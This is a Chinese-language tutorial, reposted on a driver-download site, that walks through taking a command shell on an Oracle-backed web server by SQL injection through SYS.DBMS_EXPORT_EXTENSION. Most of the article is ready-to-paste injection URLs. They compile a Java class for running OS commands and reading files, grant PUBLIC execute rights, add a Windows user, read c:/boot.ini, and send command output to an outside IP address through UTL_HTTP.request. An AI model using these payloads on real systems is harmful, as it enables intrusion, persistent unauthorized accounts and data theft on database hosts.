驱动管家:安全、高效、精准的专业驱动下载站!

通过oracle注入直接取得主机cmdshell的方法

2018-02-13 20:20:26责编:llp   来源:驱动管家     人气:

原文发表在黑客手册

linx 2008.1.12

介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。

以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION…..改成

/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION…..)

的形式即可。(用" 'a'|| "是为了让语句返回true值)

语句有点长,可能要用post提交。

通过oracle注入直接取得主机cmdshell的方法

以下是各个步骤:

1.创建包

通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:

/xxx.jsp?id=1 and '1'<>'a'||(

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''

create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(

new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}

}'''';END;'';END;–','SYS',0,'1',0) from dual

)

————————

如果url有长度限制,可以把readFile()函数块去掉,即:

/xxx.jsp?id=1 and '1'<>'a'||(

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''

create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(

new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}

}'''';END;'';END;–','SYS',0,'1',0) from dual

)

同时把后面步骤 提到的 对readFile()的处理语句去掉。

——————————

2.赋Java权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;–','SYS',0,'1',0) from dual

3.创建函数

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''

create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;–','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''

create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;–','SYS',0,'1',0) from dual

4.赋public执行函数的权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''gran

t all on LinxRunCMD to public'''';END;'';END;–','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;–','SYS',0,'1',0) from dual

5.测试上面的几步是否成功

and '1'<>'11'||(

select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'

)

and '1'<>(

select OBJECT_ID from all_objects where object_name ='LINXREADFILE'

)

6.执行命令:

/xxx.jsp?id=1 and '1'<>(

select sys.LinxRunCMD('cmd /c net user linx /add') from dual

)

/xxx.jsp?id=1 and '1'<>(

select sys.LinxReadFile('c:/boot.ini') from dual

)

注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。

如果要查看运行结果可以用 union :

/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:

/xxx.jsp?id=1 and '1'<>(

SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual

)

/xxx.jsp?id=1 and '1'<>(

SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual

)

注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。

——————–

6.内部变化

通过以下命令可以查看all_objects表达改变:

select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'

7.删除我们创建的函数

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_IND

EX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''

drop function LinxRunCMD '''';END;'';END;–','SYS',0,'1',0) from dual

  • 什么是影子账号?怎么发现影子账号?

    什么是影子账号?怎么发现影子账号?

    影子帐号:见名思义,帐号具有隐蔽性,不容易被发现(只是在一定程度上)。即一般的菜鸟发现不了。多余的话我在这里就不说了,进入正题:首先,我们需要在命令提示符窗口即就是dos下创建一个用户。需要以下命令:

    详情2018-02-11 09:40:31责编:llp   来源:驱动管家     
  • wapi是什么意思?wapi和wifi有什么区别?

    wapi是什么意思?wapi和wifi有什么区别?

    无线网络,就是利用无线电波作为信息传输的媒介构成的无线局域网(WLAN),与有线网络的用途十分类似,最大的不同在于传输媒介的不同,利用无线电技术取代网线,可以和有线网络互为备份。WAPI标准WAPI是WLAN Aut

    详情2018-01-22 10:55:38责编:llp   来源:驱动管家     
  • 反arp攻击:局域网怎么隔离感染arp病毒的电脑?

    反arp攻击:局域网怎么隔离感染arp病毒的电脑?

    局域网如何隔离感染ARP病毒的电脑呢?以下就是具体的实现方法。方法 步骤局域网电脑是否存在ARP攻击的查看方法:点击“开始”-“程序”-“附件”-“运行”项来打开“运行“窗口,或者按”Windows+R“来打开,输入

    详情2018-01-23 10:24:04责编:llp   来源:驱动管家     
  • 百度css import漏洞的基本解析

    百度css import漏洞的基本解析

    从我发布百度CSS import漏洞开始,就有人不断问我关于http: hi baidu com edikid 这个空间,到现在可能有上百人了吧!我曾经说过CSS内容原则上是不能被加密的——原因就是它需要被浏览器解析。但是当大家用我

    详情2018-02-07 20:01:40责编:llp   来源:驱动管家     
  • 为你分析ftp客户端存在将任意位置写入文件的漏洞

    为你分析ftp客户端存在将任意位置写入文件的漏洞

    受影响系统:Jun Sota FFFTP 1 96b描述:FFFTP是一款小型的FTP客户端软件。FFFTP客户端没有正确地验证FTP服务器所返回的LIST命令响应中包含有目录遍历序列(斜线)的文件名,如果用户受骗从恶意的FTP服务器下

    详情2018-01-24 16:40:38责编:llp   来源:驱动管家     
  • mcafee是什么?安装mcafee的注意事项有哪些?

    mcafee是什么?安装mcafee的注意事项有哪些?

    规则有点多,并不是一定要全设,看自己的实际情况啦!咖啡是国际上三大杀软之一,也是下载使用率最高的杀软。它是迄今为止监控最灵敏的杀软,也是监控最全面的杀软。下面是咖啡官方对咖啡杀软的简介:McAfee防毒

    详情2018-01-23 09:13:53责编:llp   来源:驱动管家     
  • 玩传世游戏时木马盗号 木马盗号怎么预防?

    玩传世游戏时木马盗号 木马盗号怎么预防?

    玩传世已经有一段时间了,以前对木马盗号之类的事情总是听的很多,但是从来没有碰到过,自从玩了传世开始,让小弟我着实领教了一次什么叫木马盗号,那个厉害阿。以至于现在上网都怕怕,怕中招。好废话不说,来分析一下木

    详情2018-01-10 17:54:09责编:llp   来源:驱动管家     
  • 保证数据安全需要做哪些事?哪些文件需要加密?怎么加密?

    保证数据安全需要做哪些事?哪些文件需要加密?怎么加密?

    【编者按:生活中我们总会面对各种各样的数据,对于那些需要保密的数据我们会选择各类的加密方法。那么对于使用办公软件制作的文稿、表格、演示文稿和数据库我们如何加密呢?】在日常工作中,我们经常用一些办公

    详情2018-01-25 10:19:10责编:llp   来源:驱动管家     
  • 电脑怎么设置密码?这款大势至电脑文件加密软件能帮你

    电脑怎么设置密码?这款大势至电脑文件加密软件能帮你

    现在各种网络安全事件层出不穷,尤其是各种泄密“门”相关的安全事件让很多人胆战心惊。如何保护电脑文件安全、保护个人隐私,就成为当前文件防泄密的重要举措。如何选择合适的电脑文件加密软件呢?在此向大家推

    详情2018-01-02 16:58:58责编:llp   来源:驱动管家     
  • 计算机中毒怎么处理?计算机中毒的紧急处理措施

    计算机中毒怎么处理?计算机中毒的紧急处理措施

    常在河边走,哪能不湿鞋呢?互联网上各种病毒在不停的流窜,作为连接在网络上的电脑,尽管我们已经做了各种防范,但还是不能避免,稍不留神就会中招。而现在我们学到的多是如何防范电脑中毒的知识,但是对于已经

    详情2018-01-16 12:21:47责编:llp   来源:驱动管家